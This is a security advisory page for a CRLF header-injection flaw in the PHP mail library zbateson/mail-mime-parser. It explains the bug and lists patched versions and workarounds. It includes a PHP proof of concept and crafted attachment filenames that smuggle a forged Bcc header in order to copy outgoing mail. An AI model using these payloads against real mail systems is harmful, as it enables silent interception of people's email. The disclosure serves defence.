CVE-2026-61815 is a high-severity (CVSS 7.2) CWE-93 vulnerability in zbateson/mail-mime-parser. A fix is available for zbateson/mail-mime-parser — see the affected versions and patch details below.
zbateson/mail-mime-parser has CRLF header injection via attachment filename
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-61815.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-61815 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
zbateson/mail-mime-parser🐘zbateson/mail-mime-parserReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Impact
A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.
Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.
Details
On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: [email protected] therefore serializes as:
Content-Disposition: attachment;
filename="doc
Bcc: [email protected]"
The filename value closes after doc, and Bcc: [email protected] stands as its own header line.
The decode side is affected as well, which is what makes purely inbound exploitation possible:
ParameterPart::decodePartValue()rawurldecode()s an RFC 2231filename*=parameter with no control-character stripping, so a craftedfilename*=utf-8''doc%0D%0ABcc:...makesgetFilename()return a string with embedded\r\n.- The RFC 2047 path (
MimeToken) strips\r/\nfrom the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.
As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.
Proof of concept
composer require zbateson/mail-mime-parser
<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;
$parser = new MailMimeParser();
function attachAndReport(string $filename): void {
$out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
$out->addAttachmentPart('payload', 'application/octet-stream', $filename);
echo (strpos($out->__toString(), "\r\nBcc: [email protected]") !== false)
? "INJECTED\n" : "clean\n";
}
attachAndReport('invoice.pdf'); // => clean
attachAndReport("doc\r\nBcc: [email protected]"); // => INJECTED
// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
. "--b\r\nContent-Type: application/octet-stream\r\n"
. "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%[email protected]\r\n\r\n"
. base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn); // => string(28) "doc\r\nBcc: [email protected]"
attachAndReport($fn); // => INJECTED
Patches
Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.
Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.
Workarounds
If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).
- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | zbateson/mail-mime-parser | all versions | 3.0.6composer require zbateson/mail-mime-parser:^3.0.6 |
| 🐘Packagist | zbateson/mail-mime-parser | ≥ 4.0.0&&< 4.0.2 | 4.0.2composer require zbateson/mail-mime-parser:^4.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for zbateson/mail-mime-parser, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update zbateson/mail-mime-parser to 3.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-61815 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-61815 in your dependencies?
Find it across Packagist, including transitive dependencies.